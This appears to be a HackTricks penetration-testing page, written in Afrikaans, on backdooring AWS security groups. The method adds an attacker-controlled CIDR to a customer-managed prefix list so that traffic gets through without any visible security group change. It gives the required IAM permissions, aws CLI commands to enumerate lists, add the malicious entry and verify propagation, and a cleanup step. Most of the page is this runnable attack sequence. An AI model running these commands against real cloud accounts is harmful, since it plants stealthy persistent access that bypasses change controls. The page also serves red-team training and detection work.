# AWS - Security Group Backdoor via Managed Prefix Lists

{{#include ../../../../banners/hacktricks-training.md}}

## Opsomming
Misbruik customer-managed Prefix Lists om 'n onopvallende toegangspad te skep. As 'n security group (SG) rule na 'n managed Prefix List verwys, kan enigiemand wat die bevoegdheid het om daardie lys te wysig stilweg attacker-controlled CIDRs byvoeg. Elke SG (en moontlik Network ACL of VPC endpoint) wat na die lys verwys, laat onmiddellik die nuwe reekse toe sonder enige sigbare SG-wysiging.

## Impak
- Onmiddellike uitbreiding van toegelate IP-reekse vir alle SGs wat na die prefix list verwys, wat change controls omseil wat slegs SG-wysigings moniteer.
- Maak volhoubare ingress/egress backdoors moontlik: hou die malicious CIDR in die prefix list weggesteek terwyl die SG rule onveranderd voorkom.

## Vereistes
- IAM permissions:
- `ec2:DescribeManagedPrefixLists`
- `ec2:GetManagedPrefixListEntries`
- `ec2:ModifyManagedPrefixList`
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (om aangehegte SGs te identifiseer)
- Opsioneel: `ec2:CreateManagedPrefixList` as 'n nuwe een vir toetsing geskep word.
- Omgewing: Ten minste een SG rule wat na die teiken customer-managed Prefix List verwys.

## Veranderlikes
```bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
```
## Aanvalsstappe

1) **Enumereer kandidaat prefix lists en consumers**
```bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
```
Gebruik `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` om te bevestig watter SG-reëls op die lys staatmaak.

2) **Voeg attacker CIDR by die prefix list**
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
```
3) **Valideer propagasie na security groups**
```bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
```
Verkeer vanaf `$ENTRY_CIDR` word nou toegelaat waar na die prefix list verwys word (gewoonlik uitgaande reëls op egress proxies of inkomende reëls op gedeelde dienste).

## Bewyse
- `get-managed-prefix-list-entries` wys die attacker CIDR en beskrywing.
- `describe-security-group-rules` wys nog steeds die oorspronklike SG-reël wat na die prefix list verwys (geen SG-wysiging aangeteken nie), tog slaag verkeer vanaf die nuwe CIDR.

## Opruiming
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
```
{{#include ../../../../banners/hacktricks-training.md}}
